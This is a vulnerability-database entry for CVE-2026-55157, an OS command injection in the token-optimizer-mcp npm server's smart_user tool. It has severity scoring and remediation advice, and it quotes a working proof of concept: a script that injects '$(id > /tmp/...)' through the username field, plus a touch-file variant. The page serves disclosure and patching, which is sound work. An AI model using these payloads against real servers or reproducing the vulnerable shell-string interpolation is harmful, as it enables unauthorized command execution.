Skip to main content

token-optimizer-mcp CVE-2026-55157

| EUVDEUVD-2026-88397 HIGH
OS Command Injection (CWE-78)
2026-08-14 https://github.com/ooples/token-optimizer-mcp GHSA-49mq-fc6q-3h46
8.4
CVSS 3.1 · Vendor: https://github.com/ooples/token-optimizer-mcp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Connect as MCP client to token-optimizer-mcp server
  2. Delivery
    Call smart_user tool with operation get-user-info
  3. Exploit
    Supply username containing $(...) payload
  4. Execution
    execAsync() passes string to POSIX shell
  5. Persist
    Shell evaluates command substitution inside double quotes
  6. Impact
    Execute arbitrary commands as MCP server process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the ability to send a tools/call MCP JSON-RPC request to a running token-optimizer-mcp server instance at version 5.0.1 or earlier, targeting the smart_user tool with operation: get-user-info and a crafted username value containing POSIX command substitution syntax. No authentication within the MCP tool protocol is required - any MCP client connection that can invoke tools is sufficient. The vulnerability is inherent to the get-user-info operation and does not require any non-default configuration to be enabled; the feature is part of the standard tool implementation. Exploitation is limited to POSIX/Unix-like systems (Linux, macOS) where getent, grep, and POSIX shell command substitution semantics are available - Windows deployments would not be susceptible to this specific injection technique. The local attack vector (AV:L) means the attacker must have access to submit MCP tool calls to the server, which limits opportunistic remote exploitation but does not prevent exploitation by any connected MCP client or local process.

Impact

The CVSS 3.1 score of 8.4 with vector AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H accurately reflects the technical severity: no privileges or special configuration are required to call the smart_user tool, and exploitation requires only the ability to send a crafted MCP tool call to the server. The local attack vector (AV:L) limits exposure relative to network-exploitable vulnerabilities - a threat actor must have the ability to make MCP JSON-RPC calls to the running server, which typically means either a local process or a connected MCP client session. No EPSS data was provided in the input, and this CVE does not appear in CISA KEV, so no public exploit identified at time of analysis as confirmed actively exploited. However, a detailed working proof-of-concept is publicly documented in the GitHub Security Advisory, which drastically lowers the bar for exploitation - any attacker who can reach the MCP server can achieve arbitrary command execution with near-zero complexity. For environments where the MCP server processes untrusted client input or is exposed to multiple users, this is a genuine high-priority issue despite the local vector.

Exploit ScenarioDerived

An attacker controlling an MCP client connected to a vulnerable token-optimizer-mcp server sends a tools/call JSON-RPC request targeting the smart_user tool with operation set to get-user-info and username set to $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED). The server interpolates this value into the execAsync() shell command string; the POSIX shell evaluates the command substitution, executes id, and writes its output to the specified file under the MCP server process's user account. A complete working proof-of-concept demonstrating file creation and command output capture is publicly documented in GHSA-49mq-fc6q-3h46, requiring only Node.js and the package built from source.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 14, 2026

OS command injection in @ooples/token-optimizer-mcp v5.0.1 and earlier allows any MCP client that can call the smart_user tool to execute arbitrary shell commands with the privileges of the MCP server process. The get-user-info operation interpolates the caller-controlled username argument directly into a shell command string passed to Node.js execAsync(), and the double-quoting applied by the developer does not prevent POSIX shell command substitution via $(...) or backtick syntax. A complete, working proof-of-concept is publicly available via GHSA-49mq-fc6q-3h46; no public exploit identified at time of analysis as actively exploited per CISA KEV, though the low exploitation complexity makes this a high-priority patching target.

RemediationAI

Upgrade to @ooples/token-optimizer-mcp v5.1.0 or later by running npm install @ooples/token-optimizer-mcp@5.1.0; this is the vendor-released patch confirmed by commit b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7 (https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7) and the v5.1.0 release at https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0. If immediate upgrade is not possible, disable the smart_user tool entirely if the user-info lookup feature is not operationally required - this eliminates the attack surface at the cost of losing that tool's functionality. As an alternative temporary control, restrict which MCP clients can connect to the server using OS-level access controls or network segmentation, limiting the pool of potential callers; note this reduces but does not eliminate risk if any connected client is untrusted. Input validation allowlisting usernames to strictly alphanumeric characters and underscores can be applied as a short-term code-level workaround, but the correct long-term fix is to use parameterized APIs (such as Node.js child_process.execFile() with argument arrays) rather than shell string interpolation.

Affected VersionsENISA

token-optimizer-mcp < 5.1.0

Affected Packages

npm @ooples/token-optimizer-mcp fix: 5.1.0
euvd token_optimizer_mcp fix: 5.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected package is the npm module @ooples/token-optimizer-mcp (CPE: pkg:npm/@ooples_token-optimizer-mcp), a Node.js MCP (Model Context Protocol) server for token optimization. The vulnerable code path is in the smart_user tool's get-user-info operation, which constructs a shell command string: getent passwd "${username}" || grep "^${username}:" /etc/passwd and executes it via Node.js child_process execAsync(). This spawns a POSIX-compliant shell, which evaluates command substitution sequences ($(...) and backticks) even when those sequences appear inside double-quoted strings - a well-documented POSIX shell grammar behavior that the developer incorrectly assumed double-quoting would prevent. The root cause class is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where user-controlled data flows into a shell-interpreted command string without sanitization or parameterization. In the MCP architecture, tool arguments are passed from MCP clients directly to server-side tool implementations as JSON, meaning any connected MCP client can supply arbitrary argument values with no implicit sanitization layer.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ooples/token-optimizer-mcp) PRIMARY 8.4 HIGH
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.4 HIGH

AV:L because MCP server runs locally and requires a local client call; PR:N because the smart_user tool imposes no authentication; full C/I/A because arbitrary command execution is achieved.

3.1 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/ooples/token-optimizer-mcp).

CVSS VectorVendor: https://github.com/ooples/token-optimizer-mcp

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

ts
getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

text
$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

text
@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

---

Details

The vulnerable code path is in the smart_user implementation.

The username argument is eventually passed into a shell command similar to:

ts
const { stdout: passwdOut } = await execAsync(
  `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

bash
"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

text
tool: smart_user
operation: get-user-info
argument: username

Root cause:

text
MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

---

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

text
Node.js installed
token-optimizer-mcp built from source

Build from source:

bash
git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

Run the PoC:

bash
cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys

id_out = sys.argv[1]
# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'

messages = [
    {
        "jsonrpc": "2.0",
        "id": "init",
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {
                "name": "poc",
                "version": "0"
            }
        }
    },
    {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {}
    },
    {
        "jsonrpc": "2.0",
        "id": "poc-smart-user",
        "method": "tools/call",
        "params": {
            "name": "smart_user",
            "arguments": {
                "operation": "get-user-info",
                "username": evil_username,
                "useCache": False
            }
        }
    }
]

for msg in messages:
    print(json.dumps(msg), flush=True)
PY

sleep 1

if [ -f "$ID_OUT" ]; then
  echo "[VULN CONFIRMED] smart_user command injection executed:"
  cat "$ID_OUT"
  ls -l "$ID_OUT"
else
  echo "[FAIL] smart_user id output file not created"
  tail -120 /tmp/token_optimizer_smart_user_poc.log
fi

Expected result:

text
[VULN CONFIRMED] smart_user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...

In my test, the MCP response also showed that the payload reached the shell command:

text
Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd

The file /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

json
{
  "operation": "get-user-info",
  "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
  "useCache": false
}

---

Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

text
execution of `id` as the MCP server user
arbitrary file creation under /tmp through an injected command

Executive ViewAI

Why It Matters

A command injection vulnerability in @ooples/token-optimizer-mcp v5.0.1 enables attackers to execute arbitrary system commands with server privileges. Publicly available exploit code exists, making immediate patching critical to prevent full infrastructure compromise.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 49% exploitable
Prevalence
Rare
niche npm MCP server package, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy